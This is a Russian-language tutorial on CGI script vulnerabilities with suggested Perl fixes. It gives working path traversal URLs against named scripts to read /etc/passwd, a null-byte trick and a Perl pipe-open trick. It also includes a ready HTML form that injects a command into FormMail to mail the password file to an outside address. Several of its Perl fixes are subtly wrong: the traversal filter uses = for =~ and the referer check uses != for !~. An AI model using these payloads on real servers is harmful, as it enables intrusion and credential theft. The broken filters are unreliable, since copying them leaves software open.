Общая цель CGI-скриптов - позволить посетителю получать доступ лишь к определенной части информции, находящейся у вас на сервере. Такое определение сразу должно навести вас на мысли о безопасности и предотвращения действий, направленных на получение вашей информации и некорректного вмешательства в работу вашей системы. Если вы будете достаточно беспечны и легкомысленны в этом вопросе, вы предоставите посетителям доступ к тем участкам сервера, которые предпочтительнее было бы скрыть от посторонних глаз. Хотя ни один web-узел нельзя считать на 100% защищенным, снизить уровень риска при применении CGI-программ довольно просто. Далее мы рассмотрим наиболее характерные уязвимости в скриптах и попробуем свести риск к минимуму. Наиболее часто встречающяяся уязвимость - это отсутсвие проверки посылаемых скрипту данных на метасимволы (такие, к примеру, как &;`'\"|*?~<>^()[]{}$), что приводит к выводу скриптом содержимого файла или самого файла, которое администратор сервера предпочел бы скрыть. Элементарным решением этой проблемы есть фильтрация вводимого набора символом, выглядящая на Perl следующим образом: $in =~ s/([;<>\*\|`&\$!#\(\)\[\]\{\}:'"\n])/\\$1/g; По моему авторы скриптов забывают об этом или не хотят запоминать, т.к. самую элементарную проверку на символы "/" и ".." до сих пор не делают. Почему же так важна проверка на метасимволы ? Потому, что к примеру у вас есть скрипт view.pl ( www.your_host.com/cgi-bin/view.pl ) который показывает какой-то файл (подобный пример часто встречается в поисковых скриптах и в файлах различных web-форумов) т.е. www.your_host.com/cgi-bin/view.pl?site.htm покажет вам site.htm. Но если мы передадим скрипту запрос вида www.yor_host.com/cgi-bin/view.pl?../../../../etc/passwd То данная команда выведет нам в качестве результата файл с паролями *nix системы. Это происходит из-за того, то скрипт, получая данные ../../.. исполняет команду перехода по директориям. Получается, что он доходит то корня диска, оттуда переходит в директорию etc/ и показывает на файл passwd, расположенный там же. $file=s/\.\.//g; - вот такой маленький кусочек кода perl намного облегчит жизнь администратора. Вот лишь несколько скриптов, в которых встречается эта уязвимость: www.your_site.com/cgi-bin/htmlscript?../../../../etc/passwd www.your_site.com/cgi-bin/shopper.cgi?newpage=../../../etc/passwd www.your_site.com/cgi-bin/Web_Store/web_store.cgi?page=../../../etc/passwd ext Наверное вы обратили внимание на последний пример. Наверное, у вас возник вопрос, а что такое за /etc/passwd%00ext. Это тоже один из примеров уязвимости cgi-скриптов. Но эта уязвимость не столько зависит от скрипта, сколько от операционной системы. Система неадекватно реагирует на символ 0.( не только именно на 0, но я привел лишь самый элементарный пример. К примеру, page.cgi?index.htm покажет вам документ. А page.cgi?index.htm%00 покажет вам исходный код документа. Самый простой вариант решения этой проблемы, это поставить фильтр на этот символ, на perl этот будет выглядеть примерно так : $insecure_data=~s/\0//g; Также в языке Perl, добавление символа "|" засталяет программу, которая должна открывать файл - запустить его. К примеру: open(FILE, "/bin/ls") - даст вам бинарный код, а если подставить "|" open(FILE, "/bin/ls|") - будет выполнена команда, в данном случае ls. s/(\|)/\\$1/g - такая вставка в Perl-код предотвратит это. ( Perl скажет - 'unexpected end of file'). Также скрипты активно используются для создания многочисленных списков рассылок и тому подобных вещей, применяемых для побее тесного взаимодействия сайта и посетителя. Обычно данные скрипту передаются в виде html-формы. Злоумышленник может запросто сохранить исходный код html-формы, модифицировать его, а затем открыть страницу, уже модифицированую у себя в броузере. Хакер может изменить значения и имена полей, модифицировать или удалить скрытые поля ( Input type=hidden ), после чего предьявить форму целевой CGI-программе. Кроме того, ничто не помешает ему вызвать вашу программу прямо из коммандной строки браузеоа и передать в нее информацию в строке запроса. Типичный пример, алгоритм которого вы можете еще применить во многих других скриптах = это уязвимость в очень старом скрипте formmail 1.0 Когда скрипт получает данные, он составляет письмо и, пользуясь полученными данными, дает примерно следующую команду: $ mail some_email $recipient Предположим, что в документе html, параметр recipient (hidden) содержит адрес [email protected] Тогда в итоге после выполнения всех команд он завершится посылкой письма по этому адресу командой httpd$ mail <информация> [email protected] Но нам ничего не мешает сохранить документ, немного подредактировать его, добавив свои команды ( к примеру ";cat /etc/passwd | mail [email protected]") и затем отправить данные скрипту. Тогда скрипт все внимательно обработает, составит письмо м выполнит команду httpd$ mail <информация> [email protected]; cat /etc/passwd | mail [email protected] Вот и пример формы, выполняющей вышеописанные действия: <form method="post" action="http://www.dead_server.com/cgi-bin/formmail.pl"> <input type="hidden" name="recipient" value="[email protected] cat /etc/passwd | mail [email protected]"> <input type="submit" name="submit" value="submit"> </form> Один из самых простых способов установить, похищена ли форма - это проверить значение переменной среды HTTP_REFERER, модержащей URL, из которого была вызвана ваша программа. Затем это значение следует сравнить с тем, которое должно быть при вызове программы с допустимой страницы. Если вы, скажем, хотите, чтобы программа вызывалась только со страниц, URL которых начинаются с www.server.com/some_file/, то можете поставить в начало программы что-то вроде этого: if ($ENV{'HTTP_REFERER'} !=m#^http://www.server.com/some_file/#) {print "Content-Type: text/plain\n403 Forbidden\n\n"; Но этот метод защиты годится только в том случае, если хакер не переопределил HTTP_REFERER. Когда форма предьявляется, ваша программа использует значение поля для построения пути к файлу (например, /home/hir/hack.htm), а затем выводит данный файл. Эта возиожность кажется довольно безобидной, пока хакер не изменит форму таким образом, что она будет содержать пункт со значением ../../../etc/passwd. Ваша программа сможет взять это значение, создать путь к этому файлу и вывести passwd в окно браузера. Этого можно избежать, указав в программе корневую директорию и сделать так, чтобы все пути к файлам начинались именно с этого имени каталога. if (file_path !~/^root_directory/) {print "Invalid file path\n" Вот пожалуй самые распространненые ошибки в CGI-программах и возможные методы исправления этих ошибок и повышение безопасности сервера. (c) UkR-XblP